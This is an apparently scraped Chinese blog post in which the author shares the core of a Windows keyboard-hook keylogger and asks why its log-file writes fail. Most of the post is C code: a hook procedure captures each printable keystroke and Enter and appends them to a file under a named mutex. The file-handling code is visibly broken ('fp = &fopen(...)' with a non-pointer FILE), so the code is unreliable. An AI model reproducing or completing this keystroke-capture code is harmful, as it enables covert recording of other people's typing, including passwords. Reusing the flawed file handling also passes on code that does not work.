zoukankan      html  css  js  c++  java
  • Hook键盘记录器的问题。。。。。

    今天搞了一下Hook键盘记录器。。。。。

    不知道为会么写文件的时候会出错。。

    贴关键代码。。。。看来得解决这个问题才行啊。。。。。。。。。

    void WriteChar(char* sText)
    {
     //加锁
     HANDLE hMetux = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "PsKey400");
     if(hMetux != NULL)
      WaitForSingleObject(hMetux, 300);
     
     FILE fp;
     if ((fp = &fopen(m_CharFileName,"ab")) == NULL)
     {
      MessageBox(NULL,"打开了出错","打开了出错",MB_OK);
      fclose(&fp);
     }

     if (fwrite(sText,strlen(sText),1,&fp) != 1)
     {
      MessageBox(NULL,"写入出错","写入出错",MB_OK);
      fclose(&fp);
     }
     fclose(&fp);
     

     //取锁
     if(hMetux != NULL)
     {
      ReleaseMutex(hMetux);
      CloseHandle(hMetux);
     }
    }

    LRESULT WINAPI GetKeyMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
     LRESULT lResult = CallNextHookEx(g_khook, nCode, wParam, lParam);
     char key[10] = {0};
     BYTE buffer[256] = {0};
     WORD m_wchar = 0;
     UINT m_scan = 0;
        if ((lParam & 0x40000000) && (nCode == HC_ACTION))
     {
      if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>= 0x2f ) &&(wParam<= 0x100))
      {
       if (wParam == VK_RETURN)
       {
        WriteChar("\r\n");
         }
          else
       {
           GetKeyboardState(buffer);
           m_scan = 0;
        ToAscii(wParam,m_scan,buffer , &m_wchar,0);
        key[0] = m_wchar%255;
        if(key[0] >= 32 && key[0] <= 126)
         WriteChar(key);
       }
        }
     }
     return lResult;
    }

    出现问题。。写文件出错。。。

  • 相关阅读:
    JVM内存逃逸
    SQL中游标的使用
    配置JAVA环境变量中CLASSPATH变量的作用
    什么是单点登录?单点登录的三种实现方式
    oracle中 connect by prior 递归算法
    test
    mac idea 常见错误记录
    mac 常用操作命令记录
    mac idea 常用快捷键记录
    运行maven install命令时出现错误(BUILD FAILURE)
  • 原文地址:https://www.cnblogs.com/ccmfc/p/1719641.html
Copyright © 2011-2022 走看看